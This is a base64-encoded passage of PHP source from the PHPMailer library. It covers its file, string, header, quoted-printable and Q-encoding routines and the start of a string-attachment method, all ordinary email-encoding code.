ZpbGUNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBUaGUgZW5jb2RpbmcgdG8gdXNlOyBvbmUgb2YgJ2Jhc2U2NCcsICc3Yml0JywgJzhiaXQnLCAnYmluYXJ5JywgJ3F1b3RlZC1wcmludGFibGUnDQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24NCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZA0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZmlsZV9vcGVuJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7DQogICAgICAgICAgICBpZiggdmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy40LjAnLCAnPCcpICkgew0KICAgICAgICAgICAgICAgICRtYWdpY19xdW90ZXMgPSBnZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkbWFnaWNfcXVvdGVzKSB7DQogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgew0KICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIC8vRG9lc24ndCBleGlzdCBpbiBQSFAgNS40LCBidXQgd2UgZG9uJ3QgbmVlZCB0byBjaGVjayBiZWNhdXNlDQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsNCiAgICAgICAgICAgICAgICAgICAgLy9zbyBpdCB3aWxsIG5ldmVyIGdldCBoZXJlDQogICAgICAgICAgICAgICAgICAgIGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgZmFsc2UpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsNCiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOw0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsNCiAgICAgICAgICAgICAgICBpZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4zLjAnLCAnPCcpKSB7DQogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsICRtYWdpY19xdW90ZXMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiAkZmlsZV9idWZmZXI7DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7DQogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsNCiAgICAgICAgICAgIHJldHVybiAnJzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuY29kZSBhIHN0cmluZyBpbiByZXF1ZXN0ZWQgZm9ybWF0Lg0KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScNCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVN0cmluZygkc3RyLCAkZW5jb2RpbmcgPSAnYmFzZTY0JykNCiAgICB7DQogICAgICAgICRlbmNvZGVkID0gJyc7DQogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkZW5jb2RpbmcpKSB7DQogICAgICAgICAgICBjYXNlICdiYXNlNjQnOg0KICAgICAgICAgICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkc3RyKSwgNzYsICR0aGlzLT5MRSk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICc3Yml0JzoNCiAgICAgICAgICAgIGNhc2UgJzhiaXQnOg0KICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmZpeEVPTCgkc3RyKTsNCiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhaw0KICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJGVuY29kZWQsIC0oc3RybGVuKCR0aGlzLT5MRSkpKSAhPSAkdGhpcy0+TEUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgLj0gJHRoaXMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2JpbmFyeSc6DQogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAncXVvdGVkLXByaW50YWJsZSc6DQogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRlbmNvZGVkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuY29kZSBhIGhlYWRlciBzdHJpbmcgb3B0aW1hbGx5Lg0KICAgICAqIFBpY2tzIHNob3J0ZXN0IG9mIFEsIEIsIHF1b3RlZC1wcmludGFibGUgb3Igbm9uZS4NCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlSGVhZGVyKCRzdHIsICRwb3NpdGlvbiA9ICd0ZXh0JykNCiAgICB7DQogICAgICAgICRtYXRjaGNvdW50ID0gMDsNCiAgICAgICAgc3dpdGNoIChzdHJ0b2xvd2VyKCRwb3NpdGlvbikpIHsNCiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6DQogICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvW1wyMDAtXDM3N10vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQ2FuJ3QgdXNlIGFkZHNsYXNoZXMgYXMgd2UgZG9uJ3Qga25vdyB0aGUgdmFsdWUgb2YgbWFnaWNfcXVvdGVzX3N5YmFzZQ0KICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCgkc3RyID09ICRlbmNvZGVkKSAmJiAhcHJlZ19tYXRjaCgnL1teQS1aYS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoJGVuY29kZWQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgiXCIkZW5jb2RlZFwiIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgPSBwcmVnX21hdGNoX2FsbCgnL1teXDA0MFwwNDFcMDQzLVwxMzNcMTM1LVwxNzZdLycsICRzdHIsICRtYXRjaGVzKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8NCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOg0KICAgICAgICAgICAgICAgICRtYXRjaGNvdW50ID0gcHJlZ19tYXRjaF9hbGwoJy9bKCkiXS8nLCAkc3RyLCAkbWF0Y2hlcyk7DQogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoDQogICAgICAgICAgICBjYXNlICd0ZXh0JzoNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vVGhlcmUgYXJlIG5vIGNoYXJzIHRoYXQgbmVlZCBlbmNvZGluZw0KICAgICAgICBpZiAoJG1hdGNoY291bnQgPT0gMCkgew0KICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOw0KICAgICAgICAvLyBUcnkgdG8gc2VsZWN0IHRoZSBlbmNvZGluZyB3aGljaCBzaG91bGQgcHJvZHVjZSB0aGUgc2hvcnRlc3Qgb3V0cHV0DQogICAgICAgIGlmICgkbWF0Y2hjb3VudCA+IHN0cmxlbigkc3RyKSAvIDMpIHsNCiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50DQogICAgICAgICAgICAkZW5jb2RpbmcgPSAnQic7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSAmJiAkdGhpcy0+aGFzTXVsdGlCeXRlcygkc3RyKSkgew0KICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZw0KICAgICAgICAgICAgICAgIC8vIG11bHRpYnl0ZSBzdHJpbmdzIHdpdGhvdXQgYnJlYWtpbmcgbGluZXMgd2l0aGluIGEgY2hhcmFjdGVyDQogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+YmFzZTY0RW5jb2RlV3JhcE1CKCRzdHIsICJcbiIpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJHN0cik7DQogICAgICAgICAgICAgICAgJG1heGxlbiAtPSAkbWF4bGVuICUgNDsNCiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsNCiAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmVuY29kZVEoJHN0ciwgJHBvc2l0aW9uKTsNCiAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPndyYXBUZXh0KCRlbmNvZGVkLCAkbWF4bGVuLCB0cnVlKTsNCiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOw0KICAgICAgICB9DQoNCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE/PSIsICRlbmNvZGVkKTsNCiAgICAgICAgJGVuY29kZWQgPSB0cmltKHN0cl9yZXBsYWNlKCJcbiIsICR0aGlzLT5MRSwgJGVuY29kZWQpKTsNCg0KICAgICAgICByZXR1cm4gJGVuY29kZWQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2hlY2sgaWYgYSBzdHJpbmcgY29udGFpbnMgbXVsdGktYnl0ZSBjaGFyYWN0ZXJzLg0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQ0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpDQogICAgew0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zdHJsZW4nKSkgew0KICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsNCiAgICAgICAgfSBlbHNlIHsgLy8gQXNzdW1lIG5vIG11bHRpYnl0ZXMgKHdlIGNhbid0IGhhbmRsZSB3aXRob3V0IG1ic3RyaW5nIGZ1bmN0aW9ucyBhbnl3YXkpDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBEb2VzIGEgc3RyaW5nIGNvbnRhaW4gYW55IDgtYml0IGNoYXJzIChpbiBhbnkgY2hhcnNldCk/DQogICAgICogQHBhcmFtIHN0cmluZyAkdGV4dA0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXM4Yml0Q2hhcnMoJHRleHQpDQogICAgew0KICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgnL1tceDgwLVx4RkZdLycsICR0ZXh0KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFbmNvZGUgYW5kIHdyYXAgbG9uZyBtdWx0aWJ5dGUgc3RyaW5ncyBmb3IgbWFpbCBoZWFkZXJzDQogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuDQogICAgICogQWRhcHRlZCBmcm9tIGEgZnVuY3Rpb24gYnkgcGFyYXZvaWQNCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1iLWVuY29kZS1taW1laGVhZGVyLnBocCM2MDI4Mw0KICAgICAqIEBhY2Nlc3MgcHVibGljDQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGxpbmVicmVhayBzdHJpbmcgdG8gdXNlIGFzIGxpbmVmZWVkL2VuZC1vZi1saW5lDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gYmFzZTY0RW5jb2RlV3JhcE1CKCRzdHIsICRsaW5lYnJlYWsgPSBudWxsKQ0KICAgIHsNCiAgICAgICAgJHN0YXJ0ID0gJz0/JyAuICR0aGlzLT5DaGFyU2V0IC4gJz9CPyc7DQogICAgICAgICRlbmQgPSAnPz0nOw0KICAgICAgICAkZW5jb2RlZCA9ICcnOw0KICAgICAgICBpZiAoJGxpbmVicmVhayA9PT0gbnVsbCkgew0KICAgICAgICAgICAgJGxpbmVicmVhayA9ICR0aGlzLT5MRTsNCiAgICAgICAgfQ0KDQogICAgICAgICRtYl9sZW5ndGggPSBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpOw0KICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZA0KICAgICAgICAkbGVuZ3RoID0gNzUgLSBzdHJsZW4oJHN0YXJ0KSAtIHN0cmxlbigkZW5kKTsNCiAgICAgICAgLy8gQXZlcmFnZSBtdWx0aS1ieXRlIHJhdGlvDQogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7DQogICAgICAgIC8vIEJhc2U2NCBoYXMgYSA0OjMgcmF0aW8NCiAgICAgICAgJGF2Z0xlbmd0aCA9IGZsb29yKCRsZW5ndGggKiAkcmF0aW8gKiAuNzUpOw0KDQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRtYl9sZW5ndGg7ICRpICs9ICRvZmZzZXQpIHsNCiAgICAgICAgICAgICRsb29rQmFjayA9IDA7DQogICAgICAgICAgICBkbyB7DQogICAgICAgICAgICAgICAgJG9mZnNldCA9ICRhdmdMZW5ndGggLSAkbG9va0JhY2s7DQogICAgICAgICAgICAgICAgJGNodW5rID0gbWJfc3Vic3RyKCRzdHIsICRpLCAkb2Zmc2V0LCAkdGhpcy0+Q2hhclNldCk7DQogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOw0KICAgICAgICAgICAgICAgICRsb29rQmFjaysrOw0KICAgICAgICAgICAgfSB3aGlsZSAoc3RybGVuKCRjaHVuaykgPiAkbGVuZ3RoKTsNCiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZA0KICAgICAgICAkZW5jb2RlZCA9IHN1YnN0cigkZW5jb2RlZCwgMCwgLXN0cmxlbigkbGluZWJyZWFrKSk7DQogICAgICAgIHJldHVybiAkZW5jb2RlZDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuDQogICAgICogQWNjb3JkaW5nIHRvIFJGQzIwNDUgc2VjdGlvbiA2LjcuDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlDQogICAgICogQHBhcmFtIGludGVnZXIgJGxpbmVfbWF4IE51bWJlciBvZiBjaGFycyBhbGxvd2VkIG9uIGEgbGluZSBiZWZvcmUgd3JhcHBpbmcNCiAgICAgKiBAcmV0dXJuIHN0cmluZw0KICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUVAoJHN0cmluZywgJGxpbmVfbWF4ID0gNzYpDQogICAgew0KICAgICAgICAvLyBVc2UgbmF0aXZlIGZ1bmN0aW9uIGlmIGl0J3MgYXZhaWxhYmxlICg+PSBQSFA1LjMpDQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3F1b3RlZF9wcmludGFibGVfZW5jb2RlJykpIHsNCiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBGYWxsIGJhY2sgdG8gYSBwdXJlIFBIUCBpbXBsZW1lbnRhdGlvbg0KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoDQogICAgICAgICAgICBhcnJheSgnJTIwJywgJyUwRCUwQS4nLCAnJTBEJTBBJywgJyUnKSwNCiAgICAgICAgICAgIGFycmF5KCcgJywgIlxyXG49MkUiLCAiXHJcbiIsICc9JyksDQogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykNCiAgICAgICAgKTsNCiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnL1teXHJcbl17JyAuICgkbGluZV9tYXggLSAzKSAuICd9W149XHJcbl17Mn0vJywgIiQwPVxyXG4iLCAkc3RyaW5nKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLg0KICAgICAqIEBzZWUgUEhQTWFpbGVyOjplbmNvZGVRUCgpDQogICAgICogQGFjY2VzcyBwdWJsaWMNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcNCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXgNCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkc3BhY2VfY29udg0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICogQGRlcHJlY2F0ZWQgVXNlIGVuY29kZVFQIGluc3RlYWQuDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKA0KICAgICAgICAkc3RyaW5nLA0KICAgICAgICAkbGluZV9tYXggPSA3NiwNCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlDQogICAgKSB7DQogICAgICAgIHJldHVybiAkdGhpcy0+ZW5jb2RlUVAoJHN0cmluZywgJGxpbmVfbWF4KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4NCiAgICAgKiBAbGluayBodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMyMDQ3DQogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIHRoZSB0ZXh0IHRvIGVuY29kZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMNCiAgICAgKiBAYWNjZXNzIHB1YmxpYw0KICAgICAqIEByZXR1cm4gc3RyaW5nDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVEoJHN0ciwgJHBvc2l0aW9uID0gJ3RleHQnKQ0KICAgIHsNCiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcNCiAgICAgICAgJHBhdHRlcm4gPSAnJzsNCiAgICAgICAgJGVuY29kZWQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCAiXG4iKSwgJycsICRzdHIpOw0KICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgew0KICAgICAgICAgICAgY2FzZSAncGhyYXNlJzoNCiAgICAgICAgICAgICAgICAvLyBSRkMgMjA0NyBzZWN0aW9uIDUuMw0KICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8NCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOg0KICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4yDQogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXChcKSInOw0KICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaA0KICAgICAgICAgICAgICAgIC8vIGZvciB0aGlzIHJlYXNvbiB3ZSBidWlsZCB0aGUgJHBhdHRlcm4gd2l0aG91dCBpbmNsdWRpbmcgZGVsaW1pdGVycyBhbmQgW10NCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOg0KICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAvLyBSRkMgMjA0NyBzZWN0aW9uIDUuMQ0KICAgICAgICAgICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgaGlnaCBhc2NpaSwgY29udHJvbCwgPSwgPyBhbmQgXyBjaGFyYWN0ZXJzDQogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOw0KICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoIi9beyRwYXR0ZXJufV0vIiwgJGVuY29kZWQsICRtYXRjaGVzKSkgew0KICAgICAgICAgICAgLy8gSWYgdGhlIHN0cmluZyBjb250YWlucyBhbiAnPScsIG1ha2Ugc3VyZSBpdCdzIHRoZSBmaXJzdCB0aGluZyB3ZSByZXBsYWNlDQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcNCiAgICAgICAgICAgICRlcWtleSA9IGFycmF5X3NlYXJjaCgnPScsICRtYXRjaGVzWzBdKTsNCiAgICAgICAgICAgIGlmIChmYWxzZSAhPT0gJGVxa2V5KSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7DQogICAgICAgICAgICAgICAgYXJyYXlfdW5zaGlmdCgkbWF0Y2hlc1swXSwgJz0nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsNCiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCRjaGFyLCAnPScgLiBzcHJpbnRmKCclMDJYJywgb3JkKCRjaGFyKSksICRlbmNvZGVkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IHNwYWNlcyB0byBfIChtb3JlIHJlYWRhYmxlIHRoYW4gPTIwKQ0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJyAnLCAnXycsICRlbmNvZGVkKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4NCiAgICAgKiBUaGlzIG1ldGhvZCBjYW4gYmUgdXNlZCB0byBhdHRhY2ggYXNjaWkgb3IgYmluYXJ5IGRhdGEsDQogICAgICogc3VjaCBhcyBhIEJMT0IgcmVjb3JkIGZyb20gYSBkYXRhYmFzZS4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4NCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBOYW1lIG9mIHRoZSBhdHRhY2htZW50Lg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIEZpbGUgZW5jb2RpbmcgKHNlZSAkRW5jb2RpbmcpLg0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuDQogICAgICogQHBhcmFtIHN0cmluZyAkZGlzcG9zaXRpb24gRGlzcG9zaXRpb24gdG8gdXNlDQogICAgICogQHJldHVybiB2b2lkDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGFkZFN0cmluZ0F0dGFjaG1lbnQoDQogICAgICAgICRzdHJpbmcsDQogICAgICAgICRmaWxlbmFtZSwNCiAgICAgICAgJGVuY29kaW5nID0gJ2Jhc